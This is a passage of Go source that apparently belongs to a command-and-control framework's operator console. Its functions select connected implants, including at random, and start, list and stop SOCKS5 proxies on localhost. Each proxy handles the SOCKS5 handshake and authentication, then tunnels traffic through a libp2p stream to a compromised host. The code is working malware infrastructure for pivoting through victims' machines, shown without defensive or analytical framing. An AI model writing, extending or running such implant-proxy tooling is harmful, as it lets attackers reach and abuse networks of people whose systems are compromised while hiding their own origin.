for _, rec := range implants {
if !rec.Disconnected {
connected = append(connected, rec)
}
}
if len(connected) == 0 {
return "", nil, fmt.Errorf("no connected implants")
}
if idArg == "random" {
choice := connected[rand.Intn(len(connected))]
return choice.PeerID, choice, nil
}
if idArg == "" {
return "", nil, fmt.Errorf("specify an implant index or 'random'")
}
idx, err := strconv.Atoi(idArg)
if err != nil {
return "", nil, fmt.Errorf("bad index %q", idArg)
}
if idx < 0 || idx >= len(connected) {
return "", nil, fmt.Errorf("index %d out of range (0-%d)", idx, len(connected)-1)
}
rec := connected[idx]
return rec.PeerID, rec, nil
}
func (o *Operator) pickRandomImplant() (*ImplantRecord, error) {
implants := o.ListImplants()
var connected []*ImplantRecord
for _, rec := range implants {
if !rec.Disconnected {
connected = append(connected, rec)
}
}
if len(connected) == 0 {
return nil, fmt.Errorf("no connected implants")
}
return connected[rand.Intn(len(connected))], nil
}
func (o *Operator) SocksStart(implantPeerID string, port int, username, password string) error {
random := implantPeerID == "random"
var pid peer.ID
if random {
rec, err := o.pickRandomImplant()
if err != nil {
return fmt.Errorf("no implants available for random socks: %w", err)
}
pid, err = peer.Decode(rec.PeerID)
if err != nil {
return fmt.Errorf("decode random implant peer id: %w", err)
}
implantPeerID = rec.PeerID
log.Printf("[socks] random selection picked implant %s@%s", rec.Name, rec.PeerID)
} else {
var err error
pid, err = peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
}
o.socksMu.Lock()
if _, exists := o.socksProxies[port]; exists {
o.socksMu.Unlock()
return fmt.Errorf("SOCKS proxy already running on port %d", port)
}
o.socksMu.Unlock()
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
if err != nil {
return fmt.Errorf("listen 127.0.0.1:%d: %w", port, err)
}
ctx, cancel := context.WithCancel(o.ctx)
inst := &SocksInstance{
Port: port,
ImplantID: implantPeerID,
Username: username,
Listener: listener,
Cancel: cancel,
StartTime: time.Now(),
Random: random,
}
o.socksMu.Lock()
o.socksProxies[port] = inst
o.socksMu.Unlock()
log.Printf("[socks] SOCKS5 proxy on 127.0.0.1:%d -> implant %s (auth: %s)", port, implantPeerID, username)
go func() {
<-ctx.Done()
listener.Close()
o.socksMu.Lock()
delete(o.socksProxies, port)
o.socksMu.Unlock()
}()
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
go o.handleSocksConn(conn, pid, username, password, random)
}
}()
return nil
}
func (o *Operator) SocksList() []*SocksInstance {
o.socksMu.Lock()
defer o.socksMu.Unlock()
out := make([]*SocksInstance, 0, len(o.socksProxies))
for _, inst := range o.socksProxies {
out = append(out, inst)
}
return out
}
func (o *Operator) SocksStop(port int) error {
o.socksMu.Lock()
inst, ok := o.socksProxies[port]
o.socksMu.Unlock()
if !ok {
return fmt.Errorf("no SOCKS proxy running on port %d", port)
}
inst.Cancel()
return nil
}
func (o *Operator) handleSocksConn(client net.Conn, implantID peer.ID, username, password string, _ bool) {
defer client.Close()
br := bufio.NewReader(client)
_ = client.SetDeadline(time.Now().Add(30 * time.Second))
ver, err := br.ReadByte()
if err != nil || ver != 5 {
return
}
nmethods, err := br.ReadByte()
if err != nil {
return
}
methods := make([]byte, nmethods)
if _, err = io.ReadFull(br, methods); err != nil {
return
}
authRequired := username != ""
offersAuth := false
for _, m := range methods {
if m == 2 {
offersAuth = true
break
}
}
if authRequired && !offersAuth {
client.Write([]byte{5, 0xff})
return
}
if offersAuth {
client.Write([]byte{5, 2})
aver, err := br.ReadByte()
if err != nil || aver != 1 {
return
}
ulen, err := br.ReadByte()
if err != nil {
return
}
unameBytes := make([]byte, ulen)
if _, err = io.ReadFull(br, unameBytes); err != nil {
return
}
plen, err := br.ReadByte()
if err != nil {
return
}
passBytes := make([]byte, plen)
if _, err = io.ReadFull(br, passBytes); err != nil {
return
}
if string(unameBytes) != username || string(passBytes) != password {
client.Write([]byte{1, 1})
return
}
client.Write([]byte{1, 0})
} else {
client.Write([]byte{5, 0})
}
req := make([]byte, 4)
if _, err = io.ReadFull(br, req); err != nil {
return
}
if req[0] != 5 || req[1] != 1 {
client.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
var host string
switch req[3] {
case 1:
addr := make([]byte, 4)
if _, err = io.ReadFull(br, addr); err != nil {
return
}
host = net.IP(addr).String()
case 3:
addrLen, err := br.ReadByte()
if err != nil {
return
}
addr := make([]byte, addrLen)
if _, err = io.ReadFull(br, addr); err != nil {
return
}
host = string(addr)
case 4:
addr := make([]byte, 16)
if _, err = io.ReadFull(br, addr); err != nil {
return
}
host = net.IP(addr).String()
default:
client.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
portBytes := make([]byte, 2)
if _, err = io.ReadFull(br, portBytes); err != nil {
return
}
port := binary.BigEndian.Uint16(portBytes)
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
client.SetDeadline(time.Time{})
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "socks")
s, err := o.node.NewStream(ctx, implantID, transport.SocksProtocolID)
if err != nil {
log.Printf("[socks] stream to %s: %v", implantID.String(), err)
client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
defer s.Close()
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
log.Printf("[socks] send target: %v", err)
client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
client.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
done := make(chan struct{}, 2)
go func() {
io.Copy(s, br)
done <- struct{}{}
}()
go func() {
io.Copy(client, s)
done <- struct{}{}
}()
<-done
<-done
}